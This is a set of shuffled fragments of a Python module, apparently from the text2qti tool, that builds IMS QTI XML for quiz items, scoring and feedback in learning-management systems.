'''\\", "ValueError if question.type in ('true_false_question', 'multiple_choice_question', 'short_answer_question', 'multiple_answers_question', 'numerical_question', 'essay_question',", "<setvar action=\"Set\" varname=\"SCORE\">100</setvar> <displayfeedback feedbacktype=\"Response\" linkrefid=\"correct_fb\"/> </respcondition> ''' ITEM_RESPROCESSING_SHORTANS_SET_CORRECT_NO_FEEDBACK =", "ident=\"correct_fb\"> <flow_mat> <material> <mattext texttype=\"text/html\">{feedback}</mattext> </material> </flow_mat> </itemfeedback> ''' ITEM_FEEDBACK_MCTF_SHORTANS_MULTANS_NUM_INCORRECT", "qmd_assessmenttype </fieldlabel> <fieldentry> Examination </fieldentry> </qtimetadatafield> </qtimetadata> <section ident=\"root_section\"> '''", "resprocessing.append(ITEM_RESPROCESSING_START) if question.feedback_raw is not None: resprocessing.append(ITEM_RESPROCESSING_MCTF_GENERAL_FEEDBACK) for choice in", "rcardinality=\"Single\"> <render_fib> <response_label ident=\"answer1\" rshuffle=\"No\"/> </render_fib> </response_str> </presentation> ''' ITEM_PRESENTATION_ESSAY", "item_presentation_choice = ITEM_PRESENTATION_MCTF_CHOICE item_presentation = ITEM_PRESENTATION_MCTF elif question.type == 'multiple_answers_question':", "</qtimetadata> </itemmetadata> ''' ITEM_METADATA_ESSAY = ITEM_METADATA_MCTF_SHORTANS_MULTANS_NUM.replace('{original_answer_ids}', '') ITEM_METADATA_UPLOAD = ITEM_METADATA_ESSAY", "= '''\\ <respcondition continue=\"No\"> <conditionvar> <varequal respident=\"response1\">{ident}</varequal> </conditionvar> <setvar action=\"Set\"", "<qtimetadatafield> <fieldlabel>points_possible</fieldlabel> <fieldentry>{points_possible}</fieldentry> </qtimetadatafield> <qtimetadatafield> <fieldlabel>original_answer_ids</fieldlabel> <fieldentry>{original_answer_ids}</fieldentry> </qtimetadatafield> <qtimetadatafield> <fieldlabel>assessment_question_identifierref</fieldlabel>", "<response_label ident=\"answer1\"/> </render_fib> </response_str> </presentation> ''' ITEM_RESPROCESSING_START = '''\\ <resprocessing>", "question.choices) xml.append(item_presentation.format(question_html_xml=question.question_html_xml, choices=choices)) elif question.type == 'short_answer_question': xml.append(ITEM_PRESENTATION_SHORTANS.format(question_html_xml=question.question_html_xml)) elif question.type", "question.choices: if choice.feedback_raw is not None: resprocessing.append(ITEM_RESPROCESSING_MULTANS_CHOICE_FEEDBACK.format(ident=f'text2qti_choice_{choice.id}')) varequal = []", "xml.extend(resprocessing) elif question.type == 'numerical_question': xml.append(ITEM_RESPROCESSING_START) if question.feedback_raw is not", "''' ITEM_RESPROCESSING_SHORTANS_SET_CORRECT_NO_FEEDBACK = '''\\ <respcondition continue=\"No\"> <conditionvar> {varequal} </conditionvar> <setvar", "'multiple_answers_question': resprocessing = [] resprocessing.append(ITEM_RESPROCESSING_START) if question.feedback_raw is not None:", "item_presentation = ITEM_PRESENTATION_MCTF elif question.type == 'multiple_answers_question': item_presentation_choice = ITEM_PRESENTATION_MULTANS_CHOICE", "xml.append(ITEM_RESPROCESSING_ESSAY_GENERAL_FEEDBACK) xml.append(ITEM_RESPROCESSING_END) elif question.type == 'file_upload_question': xml.append(ITEM_RESPROCESSING_START) if question.feedback_raw is", "question.incorrect_feedback_raw is not None: resprocessing.append(ITEM_RESPROCESSING_SHORTANS_INCORRECT_FEEDBACK) resprocessing.append(ITEM_RESPROCESSING_END) xml.extend(resprocessing) elif question.type ==", "</conditionvar> <setvar action=\"Set\" varname=\"SCORE\">100</setvar> <displayfeedback feedbacktype=\"Response\" linkrefid=\"correct_fb\"/> </respcondition> ''' ITEM_RESPROCESSING_NUM_EXACT_SET_CORRECT_NO_FEEDBACK", "'cc.true_false.v0p1' elif question.type == 'short_answer_question': typechange = 'cc.fib.v0p1' elif question.type", "under the BSD 3-Clause License: # http://opensource.org/licenses/BSD-3-Clause # from .quiz", "in ('true_false_question', 'multiple_choice_question', 'short_answer_question', 'multiple_answers_question', 'numerical_question', 'essay_question', 'file_upload_question'): if question.feedback_raw", "if question.incorrect_feedback_raw is not None: xml.append(ITEM_RESPROCESSING_NUM_INCORRECT_FEEDBACK) xml.append(ITEM_RESPROCESSING_END) elif question.type ==", "texttype=\"text/html\">{feedback}</mattext> </material> </flow_mat> </itemfeedback> ''' ITEM_FEEDBACK_MCTF_SHORTANS_MULTANS_NUM_INDIVIDUAL = '''\\ <itemfeedback ident=\"{ident}_fb\">", "''' xml = [] xml.append(BEFORE_ITEMS.format(assessment_identifier=assessment_identifier, title=title_xml)) for question_or_delim in quiz.questions_and_delims:", "</questestinterop> ''' GROUP_START = '''\\ <section ident=\"{ident}\" title=\"{group_title}\"> <selection_ordering> <selection>", "== 'file_upload_question': xml.append(ITEM_PRESENTATION_UPLOAD.format(question_html_xml=question.question_html_xml)) else: raise ValueError if question.type in ('true_false_question',", "is not None: xml.append(ITEM_FEEDBACK_MCTF_SHORTANS_MULTANS_NUM_INCORRECT.format(feedback=question.incorrect_feedback_html_xml)) if question.type in ('true_false_question', 'multiple_choice_question', 'short_answer_question',", "None for choice in question.choices: if choice.correct: correct_choice = choice", "<fieldentry></fieldentry> </qtimetadatafield> <qtimetadatafield> <fieldlabel>assessment_question_identifierref</fieldlabel> <fieldentry>{assessment_question_identifierref}</fieldentry> </qtimetadatafield> </qtimetadata> </itemmetadata> <presentation> <material>", "feedbacktype=\"Response\" linkrefid=\"general_incorrect_fb\"/> </respcondition> ''' ITEM_RESPROCESSING_SHORTANS_GENERAL_FEEDBACK = ITEM_RESPROCESSING_MCTF_GENERAL_FEEDBACK ITEM_RESPROCESSING_SHORTANS_CHOICE_FEEDBACK = '''\\", "choice in question.choices: if choice.correct: correct_choice = choice break if", "resprocessing.append(ITEM_RESPROCESSING_MCTF_INCORRECT_FEEDBACK) resprocessing.append(ITEM_RESPROCESSING_END) xml.extend(resprocessing) elif question.type == 'short_answer_question': resprocessing = []", "is None: item_resprocessing_num_set_correct = ITEM_RESPROCESSING_NUM_RANGE_SET_CORRECT_WITH_FEEDBACK else: item_resprocessing_num_set_correct = ITEM_RESPROCESSING_NUM_EXACT_SET_CORRECT_WITH_FEEDBACK xml.append(item_resprocessing_num_set_correct.format(num_min=question.numerical_min_html_xml,", "<mattext texttype=\"text/html\">{feedback}</mattext> </material> </flow_mat> </itemfeedback> ''' ITEM_FEEDBACK_MCTF_SHORTANS_MULTANS_NUM_INDIVIDUAL = '''\\ <itemfeedback", "= '''\\ <respcondition continue=\"No\"> <conditionvar> <or> <varequal respident=\"response1\">{num_exact}</varequal> <and> <vargte", "question.type in ('true_false_question', 'multiple_choice_question', 'short_answer_question', 'multiple_answers_question'): item_metadata = ITEM_METADATA_MCTF_SHORTANS_MULTANS_NUM original_answer_ids", "<mattext texttype=\"text/html\">{feedback}</mattext> </material> </flow_mat> </itemfeedback> ''' ITEM_FEEDBACK_MCTF_SHORTANS_MULTANS_NUM_INCORRECT = '''\\ <itemfeedback", "assessment XML from Quiz. ''' xml = [] xml.append(BEFORE_ITEMS.format(assessment_identifier=assessment_identifier, title=title_xml))", "correct_choice = None for choice in question.choices: if choice.correct: correct_choice", "</material> <response_lid ident=\"response1\" rcardinality=\"Single\"> <render_choice> {choices} </render_choice> </response_lid> </presentation> '''", "</respcondition> ''' ITEM_RESPROCESSING_SHORTANS_SET_CORRECT_VAREQUAL = '''\\ <varequal respident=\"response1\">{answer_xml}</varequal>''' ITEM_RESPROCESSING_SHORTANS_INCORRECT_FEEDBACK = ITEM_RESPROCESSING_MCTF_INCORRECT_FEEDBACK", "= '''\\ <respcondition continue=\"Yes\"> <conditionvar> <varequal respident=\"response1\">{answer_xml}</varequal> </conditionvar> <displayfeedback feedbacktype=\"Response\"", "Generate assessment XML from Quiz. ''' xml = [] xml.append(BEFORE_ITEMS.format(assessment_identifier=assessment_identifier,", "<material> <mattext texttype=\"text/html\">{text_html_xml}</mattext> </material> </presentation> </item> ''' START_ITEM = '''\\", "''' START_ITEM = '''\\ <item ident=\"{question_identifier}\" title=\"{question_title}\"> ''' END_ITEM =", "== 'short_answer_question': xml.append(ITEM_PRESENTATION_SHORTANS.format(question_html_xml=question.question_html_xml)) elif question.type == 'numerical_question': xml.append(ITEM_PRESENTATION_NUM.format(question_html_xml=question.question_html_xml)) elif question.type", "choice break if correct_choice is None: raise TypeError resprocessing =", "<response_str ident=\"response1\" rcardinality=\"Single\"> <render_fib> <response_label ident=\"answer1\" rshuffle=\"No\"/> </render_fib> </response_str> </presentation>", "</fieldentry> </qtimetadatafield> <qtimetadatafield> <fieldlabel> qmd_assessmenttype </fieldlabel> <fieldentry> Examination </fieldentry> </qtimetadatafield>", "Copyright (c) 2020, <NAME> # All rights reserved. # #", "for question_or_delim in quiz.questions_and_delims: if isinstance(question_or_delim, TextRegion): xml.append(TEXT.format(ident=f'text2qti_text_{question_or_delim.id}', text_title_xml=question_or_delim.title_xml, assessment_question_identifierref=f'text2qti_question_ref_{question_or_delim.id}',", "question.choices) elif question.type == 'numerical_question': item_metadata = ITEM_METADATA_MCTF_SHORTANS_MULTANS_NUM original_answer_ids =", "<not> <varequal respident=\"response1\">{ident}</varequal> </not>''' ITEM_RESPROCESSING_MULTANS_INCORRECT_FEEDBACK = ITEM_RESPROCESSING_MCTF_INCORRECT_FEEDBACK ITEM_RESPROCESSING_ESSAY_GENERAL_FEEDBACK = ITEM_RESPROCESSING_MCTF_GENERAL_FEEDBACK", "ITEM_METADATA_ESSAY = ITEM_METADATA_MCTF_SHORTANS_MULTANS_NUM.replace('{original_answer_ids}', '') ITEM_METADATA_UPLOAD = ITEM_METADATA_ESSAY ITEM_PRESENTATION_MCTF = '''\\", "<fieldlabel>cc_profile</fieldlabel> <fieldentry>{question_type}</fieldentry> </qtimetadatafield> <qtimetadatafield> <fieldlabel>points_possible</fieldlabel> <fieldentry>{points_possible}</fieldentry> </qtimetadatafield> <qtimetadatafield> <fieldlabel>original_answer_ids</fieldlabel> <fieldentry>{original_answer_ids}</fieldentry>", "= '\\n'.join(item_presentation_choice.format(ident=f'text2qti_choice_{c.id}', choice_html_xml=c.choice_html_xml) for c in question.choices) xml.append(item_presentation.format(question_html_xml=question.question_html_xml, choices=choices)) elif", "original_answer_ids = f'text2qti_essay_{question.id}' elif question.type == 'file_upload_question': item_metadata = ITEM_METADATA_UPLOAD", "<or> <varequal respident=\"response1\">{num_exact}</varequal> <and> <vargte respident=\"response1\">{num_min}</vargte> <varlte respident=\"response1\">{num_max}</varlte> </and> </or>", "'cc.essay.v0p1' else: typechange = question.type xml.append(item_metadata.format(question_type=typechange, points_possible=question.points_possible, original_answer_ids=original_answer_ids, assessment_question_identifierref=f'text2qti_question_ref_{question.id}')) if", "xml.extend(resprocessing) elif question.type == 'short_answer_question': resprocessing = [] resprocessing.append(ITEM_RESPROCESSING_START) if", "<fieldentry>{original_answer_ids}</fieldentry> </qtimetadatafield> <qtimetadatafield> <fieldlabel>assessment_question_identifierref</fieldlabel> <fieldentry>{assessment_question_identifierref}</fieldentry> </qtimetadatafield> </qtimetadata> </itemmetadata> ''' ITEM_METADATA_ESSAY", "None: xml.append(ITEM_FEEDBACK_MCTF_SHORTANS_MULTANS_NUM_INCORRECT.format(feedback=question.incorrect_feedback_html_xml)) if question.type in ('true_false_question', 'multiple_choice_question', 'short_answer_question', 'multiple_answers_question'): for", "elif question.type == 'numerical_question': xml.append(ITEM_PRESENTATION_NUM.format(question_html_xml=question.question_html_xml)) elif question.type == 'essay_question': xml.append(ITEM_PRESENTATION_ESSAY.format(question_html_xml=question.question_html_xml))", "{varequal} </conditionvar> <setvar action=\"Set\" varname=\"SCORE\">100</setvar> </respcondition> ''' ITEM_RESPROCESSING_SHORTANS_SET_CORRECT_VAREQUAL = '''\\", "''' ITEM_PRESENTATION_UPLOAD = '''\\ <presentation> <material> <mattext texttype=\"text/html\">{question_html_xml}</mattext> </material> </presentation>", "ITEM_FEEDBACK_MCTF_SHORTANS_MULTANS_NUM_GENERAL = '''\\ <itemfeedback ident=\"general_fb\"> <flow_mat> <material> <mattext texttype=\"text/html\">{feedback}</mattext> </material>", "isinstance(question_or_delim, GroupStart): xml.append(GROUP_START.format(ident=f'text2qti_group_{question_or_delim.group.id}', group_title=question_or_delim.group.title_xml, pick=question_or_delim.group.pick, points_per_item=question_or_delim.group.points_per_question)) continue if isinstance(question_or_delim, GroupEnd):", "ident=\"answer1\" rshuffle=\"No\"/> </render_fib> </response_str> </presentation> ''' ITEM_PRESENTATION_ESSAY = '''\\ <presentation>", "== 'essay_question': item_metadata = ITEM_METADATA_ESSAY original_answer_ids = f'text2qti_essay_{question.id}' elif question.type", "<fieldentry>{assessment_question_identifierref}</fieldentry> </qtimetadatafield> </qtimetadata> </itemmetadata> ''' ITEM_METADATA_ESSAY = ITEM_METADATA_MCTF_SHORTANS_MULTANS_NUM.replace('{original_answer_ids}', '') ITEM_METADATA_UPLOAD", "if choice.correct: correct_choice = choice break if correct_choice is None:", "else: resprocessing.append(ITEM_RESPROCESSING_SHORTANS_SET_CORRECT_NO_FEEDBACK.format(varequal='\\n'.join(varequal))) if question.incorrect_feedback_raw is not None: resprocessing.append(ITEM_RESPROCESSING_SHORTANS_INCORRECT_FEEDBACK) resprocessing.append(ITEM_RESPROCESSING_END) xml.extend(resprocessing)", "<fieldlabel>cc_profile</fieldlabel> <fieldentry>text_only_question</fieldentry> </qtimetadatafield> <qtimetadatafield> <fieldlabel>points_possible</fieldlabel> <fieldentry>0</fieldentry> </qtimetadatafield> <qtimetadatafield> <fieldlabel>original_answer_ids</fieldlabel> <fieldentry></fieldentry>", "'''\\ <resprocessing> <outcomes> <decvar maxvalue=\"100\" minvalue=\"0\" varname=\"SCORE\" vartype=\"Decimal\"/> </outcomes> '''", "= '''\\ <itemfeedback ident=\"correct_fb\"> <flow_mat> <material> <mattext texttype=\"text/html\">{feedback}</mattext> </material> </flow_mat>", "text_html_xml=question_or_delim.text_html_xml)) continue if isinstance(question_or_delim, GroupStart): xml.append(GROUP_START.format(ident=f'text2qti_group_{question_or_delim.group.id}', group_title=question_or_delim.group.title_xml, pick=question_or_delim.group.pick, points_per_item=question_or_delim.group.points_per_question)) continue", "</render_fib> </response_str> </presentation> ''' ITEM_RESPROCESSING_START = '''\\ <resprocessing> <outcomes> <decvar", "in ('true_false_question', 'multiple_choice_question'): item_presentation_choice = ITEM_PRESENTATION_MCTF_CHOICE item_presentation = ITEM_PRESENTATION_MCTF elif", "ValueError if question.type in ('true_false_question', 'multiple_choice_question'): correct_choice = None for", "if question.incorrect_feedback_raw is not None: resprocessing.append(ITEM_RESPROCESSING_MULTANS_INCORRECT_FEEDBACK) resprocessing.append(ITEM_RESPROCESSING_END) xml.extend(resprocessing) elif question.type", "ident=\"{ident}_fb\"> <flow_mat> <material> <mattext texttype=\"text/html\">{feedback}</mattext> </material> </flow_mat> </itemfeedback> ''' def", "None: xml.append(ITEM_RESPROCESSING_NUM_INCORRECT_FEEDBACK) xml.append(ITEM_RESPROCESSING_END) elif question.type == 'essay_question': xml.append(ITEM_RESPROCESSING_START) xml.append(ITEM_RESPROCESSING_ESSAY) if", "ITEM_PRESENTATION_MCTF_CHOICE item_presentation = ITEM_PRESENTATION_MCTF elif question.type == 'multiple_answers_question': item_presentation_choice =", "Copyright (c) 2021, <NAME> # Copyright (c) 2020, <NAME> #", "</response_str> </presentation> ''' ITEM_PRESENTATION_UPLOAD = '''\\ <presentation> <material> <mattext texttype=\"text/html\">{question_html_xml}</mattext>", "''' ITEM_RESPROCESSING_MULTANS_SET_CORRECT_VAREQUAL_CORRECT = '''\\ <varequal respident=\"response1\">{ident}</varequal>''' ITEM_RESPROCESSING_MULTANS_SET_CORRECT_VAREQUAL_INCORRECT = '''\\ <not>", "raise TypeError question = question_or_delim xml.append(START_ITEM.format(question_identifier=f'text2qti_question_{question.id}', question_title=question.title_xml)) if question.type in", "</or> </conditionvar> <setvar action=\"Set\" varname=\"SCORE\">100</setvar> </respcondition> ''' ITEM_RESPROCESSING_NUM_INCORRECT_FEEDBACK = ITEM_RESPROCESSING_MCTF_INCORRECT_FEEDBACK", "is not None: resprocessing.append(ITEM_RESPROCESSING_MULTANS_GENERAL_FEEDBACK) for choice in question.choices: if choice.feedback_raw", "</material> </flow_mat> </itemfeedback> ''' ITEM_FEEDBACK_MCTF_SHORTANS_MULTANS_NUM_INDIVIDUAL = '''\\ <itemfeedback ident=\"{ident}_fb\"> <flow_mat>", "'''\\ <presentation> <material> <mattext texttype=\"text/html\">{question_html_xml}</mattext> </material> <response_str ident=\"response1\" rcardinality=\"Single\"> <render_fib>", "if question.type in ('true_false_question', 'multiple_choice_question', 'short_answer_question', 'multiple_answers_question', 'numerical_question', 'essay_question', 'file_upload_question'):", "<displayfeedback feedbacktype=\"Response\" linkrefid=\"{ident}_fb\"/> </respcondition> ''' ITEM_RESPROCESSING_MCTF_SET_CORRECT_WITH_FEEDBACK = '''\\ <respcondition continue=\"No\">", "[] resprocessing.append(ITEM_RESPROCESSING_START) if question.feedback_raw is not None: resprocessing.append(ITEM_RESPROCESSING_MULTANS_GENERAL_FEEDBACK) for choice", "<section ident=\"root_section\"> ''' AFTER_ITEMS = '''\\ </section> </assessment> </questestinterop> '''", "<fieldlabel>original_answer_ids</fieldlabel> <fieldentry>{original_answer_ids}</fieldentry> </qtimetadatafield> <qtimetadatafield> <fieldlabel>assessment_question_identifierref</fieldlabel> <fieldentry>{assessment_question_identifierref}</fieldentry> </qtimetadatafield> </qtimetadata> </itemmetadata> '''", "xml = [] xml.append(BEFORE_ITEMS.format(assessment_identifier=assessment_identifier, title=title_xml)) for question_or_delim in quiz.questions_and_delims: if", "<conditionvar> <and> {varequal} </and> </conditionvar> <setvar action=\"Set\" varname=\"SCORE\">100</setvar> <displayfeedback feedbacktype=\"Response\"", "respident=\"response1\">{num_max}</varlte> </conditionvar> <setvar action=\"Set\" varname=\"SCORE\">100</setvar> <displayfeedback feedbacktype=\"Response\" linkrefid=\"correct_fb\"/> </respcondition> '''", "not None: resprocessing.append(ITEM_RESPROCESSING_SHORTANS_INCORRECT_FEEDBACK) resprocessing.append(ITEM_RESPROCESSING_END) xml.extend(resprocessing) elif question.type == 'multiple_answers_question': resprocessing", "xml.append(ITEM_RESPROCESSING_END) elif question.type == 'essay_question': xml.append(ITEM_RESPROCESSING_START) xml.append(ITEM_RESPROCESSING_ESSAY) if question.feedback_raw is", "# Copyright (c) 2021, <NAME> # Copyright (c) 2020, <NAME>", "continue=\"No\"> <conditionvar> <varequal respident=\"response1\">{ident}</varequal> </conditionvar> <setvar action=\"Set\" varname=\"SCORE\">100</setvar> <displayfeedback feedbacktype=\"Response\"", "= ITEM_RESPROCESSING_NUM_RANGE_SET_CORRECT_NO_FEEDBACK else: item_resprocessing_num_set_correct = ITEM_RESPROCESSING_NUM_EXACT_SET_CORRECT_NO_FEEDBACK else: if question.numerical_exact is", "choice in question.choices: if choice.correct: varequal.append(ITEM_RESPROCESSING_MULTANS_SET_CORRECT_VAREQUAL_CORRECT.format(ident=f'text2qti_choice_{choice.id}')) else: varequal.append(ITEM_RESPROCESSING_MULTANS_SET_CORRECT_VAREQUAL_INCORRECT.format(ident=f'text2qti_choice_{choice.id}')) if question.correct_feedback_raw", "<qtimetadatafield> <fieldlabel>assessment_question_identifierref</fieldlabel> <fieldentry>{assessment_question_identifierref}</fieldentry> </qtimetadatafield> </qtimetadata> </itemmetadata> ''' ITEM_METADATA_ESSAY = ITEM_METADATA_MCTF_SHORTANS_MULTANS_NUM.replace('{original_answer_ids}',", "<response_label ident=\"answer1\" rshuffle=\"No\"/> </render_fib> </response_str> </presentation> ''' ITEM_PRESENTATION_UPLOAD = '''\\", "= [] resprocessing.append(ITEM_RESPROCESSING_START) if question.feedback_raw is not None: resprocessing.append(ITEM_RESPROCESSING_MCTF_GENERAL_FEEDBACK) for", "'''\\ <itemfeedback ident=\"general_incorrect_fb\"> <flow_mat> <material> <mattext texttype=\"text/html\">{feedback}</mattext> </material> </flow_mat> </itemfeedback>", "<and> {varequal} </and> </conditionvar> <setvar action=\"Set\" varname=\"SCORE\">100</setvar> <displayfeedback feedbacktype=\"Response\" linkrefid=\"correct_fb\"/>", "<fieldlabel>original_answer_ids</fieldlabel> <fieldentry></fieldentry> </qtimetadatafield> <qtimetadatafield> <fieldlabel>assessment_question_identifierref</fieldlabel> <fieldentry>{assessment_question_identifierref}</fieldentry> </qtimetadatafield> </qtimetadata> </itemmetadata> <presentation>", "for choice in question.choices: if choice.correct: correct_choice = choice break", "'''\\ <response_label ident=\"{ident}\"> <material> <mattext texttype=\"text/html\">{choice_html_xml}</mattext> </material> </response_label>''' ITEM_PRESENTATION_MULTANS =", "xml.append(ITEM_RESPROCESSING_END) else: raise ValueError if question.type in ('true_false_question', 'multiple_choice_question', 'short_answer_question',", "= '''\\ <presentation> <material> <mattext texttype=\"text/html\">{question_html_xml}</mattext> </material> </presentation> ''' ITEM_PRESENTATION_NUM", "ITEM_FEEDBACK_MCTF_SHORTANS_MULTANS_NUM_INDIVIDUAL = '''\\ <itemfeedback ident=\"{ident}_fb\"> <flow_mat> <material> <mattext texttype=\"text/html\">{feedback}</mattext> </material>", "'''\\ </item> ''' ITEM_METADATA_MCTF_SHORTANS_MULTANS_NUM = '''\\ <itemmetadata> <qtimetadata> <qtimetadatafield> <fieldlabel>cc_profile</fieldlabel>", "= [] xml.append(BEFORE_ITEMS.format(assessment_identifier=assessment_identifier, title=title_xml)) for question_or_delim in quiz.questions_and_delims: if isinstance(question_or_delim,", "in question.choices: if choice.feedback_raw is not None: resprocessing.append(ITEM_RESPROCESSING_MULTANS_CHOICE_FEEDBACK.format(ident=f'text2qti_choice_{choice.id}')) varequal =", "in ('true_false_question', 'multiple_choice_question', 'short_answer_question', 'multiple_answers_question'): for choice in question.choices: if", "varname=\"SCORE\">100</setvar> </respcondition> ''' ITEM_RESPROCESSING_MCTF_INCORRECT_FEEDBACK = '''\\ <respcondition continue=\"Yes\"> <conditionvar> <other/>", "str: ''' Generate assessment XML from Quiz. ''' xml =", "continue=\"No\"> <conditionvar> {varequal} </conditionvar> <setvar action=\"Set\" varname=\"SCORE\">100</setvar> <displayfeedback feedbacktype=\"Response\" linkrefid=\"correct_fb\"/>", "'cc.multiple_choice.v0p1' elif question.type == 'true_false_question': typechange = 'cc.true_false.v0p1' elif question.type", "isinstance(question_or_delim, GroupEnd): xml.append(GROUP_END) continue if not isinstance(question_or_delim, Question): raise TypeError", "else: raise ValueError choices = '\\n'.join(item_presentation_choice.format(ident=f'text2qti_choice_{c.id}', choice_html_xml=c.choice_html_xml) for c in", "question.type in ('true_false_question', 'multiple_choice_question', 'short_answer_question', 'multiple_answers_question'): for choice in question.choices:", "texttype=\"text/html\">{text_html_xml}</mattext> </material> </presentation> </item> ''' START_ITEM = '''\\ <item ident=\"{question_identifier}\"", "None: if question.numerical_exact is None: item_resprocessing_num_set_correct = ITEM_RESPROCESSING_NUM_RANGE_SET_CORRECT_NO_FEEDBACK else: item_resprocessing_num_set_correct", "feedbacktype=\"Response\" linkrefid=\"correct_fb\"/> </respcondition> ''' ITEM_RESPROCESSING_NUM_RANGE_SET_CORRECT_NO_FEEDBACK = '''\\ <respcondition continue=\"No\"> <conditionvar>", "<setvar action=\"Set\" varname=\"SCORE\">100</setvar> </respcondition> ''' ITEM_RESPROCESSING_MULTANS_SET_CORRECT_VAREQUAL_CORRECT = '''\\ <varequal respident=\"response1\">{ident}</varequal>'''", "</itemmetadata> <presentation> <material> <mattext texttype=\"text/html\">{text_html_xml}</mattext> </material> </presentation> </item> ''' START_ITEM", "'Multiple') ITEM_PRESENTATION_MULTANS_CHOICE = ITEM_PRESENTATION_MCTF_CHOICE ITEM_PRESENTATION_SHORTANS = '''\\ <presentation> <material> <mattext", "<respcondition continue=\"No\"> <conditionvar> <other/> </conditionvar> </respcondition> ''' ITEM_RESPROCESSING_END = '''\\", "ITEM_RESPROCESSING_MCTF_CHOICE_FEEDBACK ITEM_RESPROCESSING_MULTANS_SET_CORRECT_WITH_FEEDBACK = '''\\ <respcondition continue=\"No\"> <conditionvar> <and> {varequal} </and>", "TextRegion BEFORE_ITEMS = '''\\ <?xml version=\"1.0\" encoding=\"UTF-8\"?> <questestinterop xmlns=\"http://www.imsglobal.org/xsd/ims_qtiasiv1p2\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"", "<flow_mat> <material> <mattext texttype=\"text/html\">{feedback}</mattext> </material> </flow_mat> </itemfeedback> ''' ITEM_FEEDBACK_MCTF_SHORTANS_MULTANS_NUM_CORRECT =", "question.type == 'multiple_choice_question': typechange = 'cc.multiple_choice.v0p1' elif question.type == 'true_false_question':", "ident=\"response1\" rcardinality=\"Single\"> <render_fib fibtype=\"Decimal\"> <response_label ident=\"answer1\"/> </render_fib> </response_str> </presentation> '''", "if correct_choice is None: raise TypeError resprocessing = [] resprocessing.append(ITEM_RESPROCESSING_START)", "for choice in question.choices: if choice.feedback_raw is not None: resprocessing.append(ITEM_RESPROCESSING_SHORTANS_CHOICE_FEEDBACK.format(ident=f'text2qti_choice_{choice.id}',", "== 'multiple_choice_question': typechange = 'cc.multiple_choice.v0p1' elif question.type == 'true_false_question': typechange", "<fieldlabel> cc_profile </fieldlabel> <fieldentry> cc.exam.v0p1 </fieldentry> </qtimetadatafield> <qtimetadatafield> <fieldlabel> qmd_assessmenttype", "if choice.correct: varequal.append(ITEM_RESPROCESSING_MULTANS_SET_CORRECT_VAREQUAL_CORRECT.format(ident=f'text2qti_choice_{choice.id}')) else: varequal.append(ITEM_RESPROCESSING_MULTANS_SET_CORRECT_VAREQUAL_INCORRECT.format(ident=f'text2qti_choice_{choice.id}')) if question.correct_feedback_raw is not None:", "item_metadata = ITEM_METADATA_MCTF_SHORTANS_MULTANS_NUM original_answer_ids = ','.join(f'text2qti_choice_{c.id}' for c in question.choices)", "</fieldlabel> <fieldentry> Examination </fieldentry> </qtimetadatafield> </qtimetadata> <section ident=\"root_section\"> ''' AFTER_ITEMS", "= '''\\ <respcondition continue=\"Yes\"> <conditionvar> <other/> </conditionvar> <displayfeedback feedbacktype=\"Response\" linkrefid=\"general_incorrect_fb\"/>", "action=\"Set\" varname=\"SCORE\">100</setvar> <displayfeedback feedbacktype=\"Response\" linkrefid=\"correct_fb\"/> </respcondition> ''' ITEM_RESPROCESSING_NUM_EXACT_SET_CORRECT_NO_FEEDBACK = '''\\", "-> str: ''' Generate assessment XML from Quiz. ''' xml", "ITEM_PRESENTATION_UPLOAD = '''\\ <presentation> <material> <mattext texttype=\"text/html\">{question_html_xml}</mattext> </material> </presentation> '''", ".quiz import Quiz, Question, GroupStart, GroupEnd, TextRegion BEFORE_ITEMS = '''\\", "not None: resprocessing.append(ITEM_RESPROCESSING_MULTANS_CHOICE_FEEDBACK.format(ident=f'text2qti_choice_{choice.id}')) varequal = [] for choice in question.choices:", "<material> <mattext texttype=\"text/html\">{question_html_xml}</mattext> </material> <response_str ident=\"response1\" rcardinality=\"Single\"> <render_fib> <response_label ident=\"answer1\"", "= [] resprocessing.append(ITEM_RESPROCESSING_START) if question.feedback_raw is not None: resprocessing.append(ITEM_RESPROCESSING_MULTANS_GENERAL_FEEDBACK) for", "</outcomes> ''' ITEM_RESPROCESSING_MCTF_GENERAL_FEEDBACK = '''\\ <respcondition continue=\"Yes\"> <conditionvar> <other/> </conditionvar>", "respident=\"response1\">{answer_xml}</varequal>''' ITEM_RESPROCESSING_SHORTANS_INCORRECT_FEEDBACK = ITEM_RESPROCESSING_MCTF_INCORRECT_FEEDBACK ITEM_RESPROCESSING_MULTANS_GENERAL_FEEDBACK = ITEM_RESPROCESSING_MCTF_GENERAL_FEEDBACK ITEM_RESPROCESSING_MULTANS_CHOICE_FEEDBACK = ITEM_RESPROCESSING_MCTF_CHOICE_FEEDBACK", "{choices} </render_choice> </response_lid> </presentation> ''' ITEM_PRESENTATION_MCTF_CHOICE = '''\\ <response_label ident=\"{ident}\">", "''' ITEM_RESPROCESSING_NUM_EXACT_SET_CORRECT_NO_FEEDBACK = '''\\ <respcondition continue=\"No\"> <conditionvar> <or> <varequal respident=\"response1\">{num_exact}</varequal>", "= '''\\ <respcondition continue=\"No\"> <conditionvar> <vargte respident=\"response1\">{num_min}</vargte> <varlte respident=\"response1\">{num_max}</varlte> </conditionvar>", "</respcondition> ''' ITEM_RESPROCESSING_SHORTANS_SET_CORRECT_NO_FEEDBACK = '''\\ <respcondition continue=\"No\"> <conditionvar> {varequal} </conditionvar>", "'multiple_answers_question'): item_metadata = ITEM_METADATA_MCTF_SHORTANS_MULTANS_NUM original_answer_ids = ','.join(f'text2qti_choice_{c.id}' for c in", "= ','.join(f'text2qti_choice_{c.id}' for c in question.choices) elif question.type == 'numerical_question':", "ITEM_PRESENTATION_NUM = '''\\ <presentation> <material> <mattext texttype=\"text/html\">{question_html_xml}</mattext> </material> <response_str ident=\"response1\"", "== 'numerical_question': item_metadata = ITEM_METADATA_MCTF_SHORTANS_MULTANS_NUM original_answer_ids = f'text2qti_numerical_{question.id}' elif question.type", "is None: item_resprocessing_num_set_correct = ITEM_RESPROCESSING_NUM_RANGE_SET_CORRECT_NO_FEEDBACK else: item_resprocessing_num_set_correct = ITEM_RESPROCESSING_NUM_EXACT_SET_CORRECT_NO_FEEDBACK else:", "linkrefid=\"{ident}_fb\"/> </respcondition> ''' ITEM_RESPROCESSING_MCTF_SET_CORRECT_WITH_FEEDBACK = '''\\ <respcondition continue=\"No\"> <conditionvar> <varequal", "item_resprocessing_num_set_correct = ITEM_RESPROCESSING_NUM_RANGE_SET_CORRECT_NO_FEEDBACK else: item_resprocessing_num_set_correct = ITEM_RESPROCESSING_NUM_EXACT_SET_CORRECT_NO_FEEDBACK else: if 